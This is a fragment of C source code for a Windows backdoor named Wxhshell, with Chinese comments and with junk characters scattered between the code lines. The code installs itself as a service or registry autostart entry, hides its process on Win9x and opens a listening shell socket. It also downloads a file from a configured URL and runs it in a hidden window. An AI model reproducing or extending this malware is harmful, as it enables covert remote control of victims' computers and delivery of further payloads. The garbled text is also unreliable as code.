_d2u# }x8!{Y#cF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xo:kT ) if(!hProcess) return 0; hy;VvAH5 IRdt:B|@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jvT'N@ _KT!OYH CloseHandle(hProcess); hbjAxioA l,ENMKA^D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sdu?#O+c1 if(hProcess==NULL) return 0; }`"`VLh W&z jb>0b0 HMODULE hMod; kc,"w\ ai char procName[255]; ?b7\m":' unsigned long cbNeeded; L'e_?`!: 8fR(y~_gF if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K*6 "c.D k[=qx{Osx% CloseHandle(hProcess); 0lw>mxN X/!_>@`7? if(strstr(procName,"services")) return 1; // 以服务启动 >rnVTK ^0VL](bD> return 0; // 注册表启动 ?KT{H(rU } R1jl <= pYO =pL^Q // 主模块 \& JZ
>h int StartWxhshell(LPSTR lpCmdLine) ?ukw6T { voWH.[n^_ SOCKET wsl; 49$P BOOL val=TRUE; <@<rU:o=V int port=0; J[ds.~ $ struct sockaddr_in door; gN&i&%*! pO]gf$ if(wscfg.ws_autoins) Install(); ^aFm6HS1 9I/b$$?D port=atoi(lpCmdLine); MNT~[Z9L5G rk=D5E7 if(port<=0) port=wscfg.ws_port; ^xo<$zn DM.lQ0xk WSADATA data; 8^mE< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |rm elQ- !^J;S%MB:K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !iXRt" ) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \1EuHQ? door.sin_family = AF_INET; b*|~F door.sin_addr.s_addr = inet_addr("127.0.0.1"); =Q#I@SVp2$ door.sin_port = htons(port); ^:nc'C gP Ts iJK if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |diI(2w closesocket(wsl); qY_qS=H^ return 1; yzK; } vSzpx K!|eN_1A if(listen(wsl,2) == INVALID_SOCKET) { VK}4<u closesocket(wsl); 8&<:(mAP return 1; rTD +7
)E } ?vXgHDs^T Wxhshell(wsl); gLiJ&H WSACleanup(); =u~nLL
p6M9uu return 0; WhPP4 # tRjv- } ]5Cr$%H= _\!]MV // 以NT服务方式启动 \j8vf0c5b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]TV_p[L0B { 'C+cQLig@ DWORD status = 0; sEhvx+( DWORD specificError = 0xfffffff; Mk!Fy]3 /qpSmRL serviceStatus.dwServiceType = SERVICE_WIN32; h$S#fY8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; Y\xEPh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y$'j9bUJ serviceStatus.dwWin32ExitCode = 0; CEy\1D serviceStatus.dwServiceSpecificExitCode = 0; f@*69a8 serviceStatus.dwCheckPoint = 0; ;p`1Y<d-O serviceStatus.dwWaitHint = 0; AGhenDNV )'shpRB;1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Spm 0` if (hServiceStatusHandle==0) return; 'Waazk[@O X2w)J?pv status = GetLastError(); 6Yai?*.Q if (status!=NO_ERROR) ;?h[WIy { L G}{ibB serviceStatus.dwCurrentState = SERVICE_STOPPED; <'Q6\R}:vC serviceStatus.dwCheckPoint = 0; *7mlH serviceStatus.dwWaitHint = 0; *yq65yZi5 serviceStatus.dwWin32ExitCode = status; {q>%Sr]9 serviceStatus.dwServiceSpecificExitCode = specificError; 1\hLwG6Jj SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Tj,TF return; o|$D|E } Q3@ zUjq_Q -FeXG#{) serviceStatus.dwCurrentState = SERVICE_RUNNING; <z Gh}.6v serviceStatus.dwCheckPoint = 0; Z0gtliJ@ serviceStatus.dwWaitHint = 0; ;QI9 OcE@/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lu=a e<M } wMa8HeBE\ %ms%0% // 处理NT服务事件,比如:启动、停止 U-|]A\`)I VOID WINAPI NTServiceHandler(DWORD fdwControl) ly0R'4j \ { ;hj lRQ\ switch(fdwControl) F^UtZG+ { h5?^MRZS case SERVICE_CONTROL_STOP: T"wg/mT serviceStatus.dwWin32ExitCode = 0; *d._H1zT serviceStatus.dwCurrentState = SERVICE_STOPPED; '%$Vmf)= serviceStatus.dwCheckPoint = 0; vPkLG*d8 serviceStatus.dwWaitHint = 0; jIh1)*]054 { @]uqC~a^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); g*k)ws } [ATJ!
O return; /t5)& case SERVICE_CONTROL_PAUSE: J[/WBVFDf serviceStatus.dwCurrentState = SERVICE_PAUSED; OB>Hiy
break; S-t#d7'B case SERVICE_CONTROL_CONTINUE: *-VRkS-G serviceStatus.dwCurrentState = SERVICE_RUNNING; ay"jWL- break; {C |R@S case SERVICE_CONTROL_INTERROGATE: `46~j break; g`fG84 }; *s6x SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y6{^cZ!= } wt($trJ GDu^P+^ // 标准应用程序主函数 C'R9Nn' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N0 {e7M { *'@Oo *85N_+Wv! // 获取操作系统版本 z/t|'8f OsIsNt=GetOsVer(); <2U#U; GetModuleFileName(NULL,ExeFile,MAX_PATH); 7q0_lEh dT|XcVKg // 从命令行安装 =<]`'15"V if(strpbrk(lpCmdLine,"iI")) Install(); 7_~ A*LM d$IROZK-D // 下载执行文件 H'AN osv if(wscfg.ws_downexe) { Ft5A(P > if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *%xbn8 WinExec(wscfg.ws_filenam,SW_HIDE); Y ^^4n$ } 4m*)("H XkI'm\W if(!OsIsNt) { ^O|fw?, // 如果时win9x,隐藏进程并且设置为注册表启动 -K{R7 HideProc(); "vGh/sXW StartWxhshell(lpCmdLine); 0 C4eer+D } i/:L^SQAq else
PMjNc_)) if(StartFromService()) U[C>Aoze // 以服务方式启动 5|*{~O| StartServiceCtrlDispatcher(DispatchTable); %
/:1eE`!S else -K|1w'E // 普通方式启动 ly[yn{ StartWxhshell(lpCmdLine); r]9-~1T }M4dze return 0; s|C[{n<_ }
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